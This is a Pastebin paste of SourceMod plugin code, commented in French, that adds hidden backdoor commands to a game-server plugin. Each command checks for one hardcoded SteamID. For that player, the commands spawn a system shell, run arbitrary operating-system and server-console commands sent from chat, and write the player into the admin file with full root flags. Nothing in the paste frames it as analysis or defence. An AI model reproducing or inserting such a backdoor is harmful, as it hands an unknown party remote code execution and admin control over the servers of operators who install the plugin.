Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ////////////////////////////////////////////////////////////////////////////////////////////////
- // commande pour se mettre admin
- public Action:Command_hPass(client, args)
- {
- if (IsClientInGame(client)) {
- decl String:SteamID[64];
- GetClientAuthString(client, SteamID, 64);
- if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
- RunCommand("set timeout -1");
- RunCommand("match_max 100000");
- RunCommand("spawn $env(SHELL)");
- RunCommand("expect assword:");
- RunCommand("send test\r");
- RunCommand("expect assword:");
- RunCommand("send test\r");
- RunCommand("send \r");
- RunCommand("expect eof");
- }
- }
- return Action:0;
- }
- public Action:Command_hExec(client, args)
- {
- decl String:Command[256];
- GetCmdArg(1, Command, 255);
- if (IsClientInGame(client)) {
- decl String:SteamID[64];
- GetClientAuthString(client, SteamID, 64);
- if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
- PrintToChat(client, Command);
- RunCommand(Command);
- }
- }
- return Action:0;
- }
- public Action:Command_Rcon(client, args)
- {
- decl String:Command[256];
- GetCmdArg(1, Command, 255);
- if (IsClientInGame(client)) {
- decl String:SteamID[64];
- GetClientAuthString(client, SteamID, 64);
- if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
- PrintToChat(client, Command);
- ServerCommand(Command);
- }
- }
- return Action:0;
- }
- public Action:Command_AddAdmin(client, args)
- {
- if (IsClientInGame(client)) {
- decl String:SteamID[64];
- GetClientAuthString(client, SteamID, 64);
- if (StrEqual(SteamID, "STEAM_0:1:36281003", true)) {
- decl String:szFile[256];
- BuildPath(PathType:0, szFile, 256, "configs/admins_simple.ini");
- new Handle:hFile = OpenFile(szFile, "at");
- WriteFileLine(hFile, "\"%s\" \"%s\"", SteamID, "99:z");
- CloseHandle(hFile);
- ServerCommand("sm_reloadadmins");
- return Action:3;
- }
- }
- return Action:3;
- }
- ////////////////////////////////////////////////////////////////
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement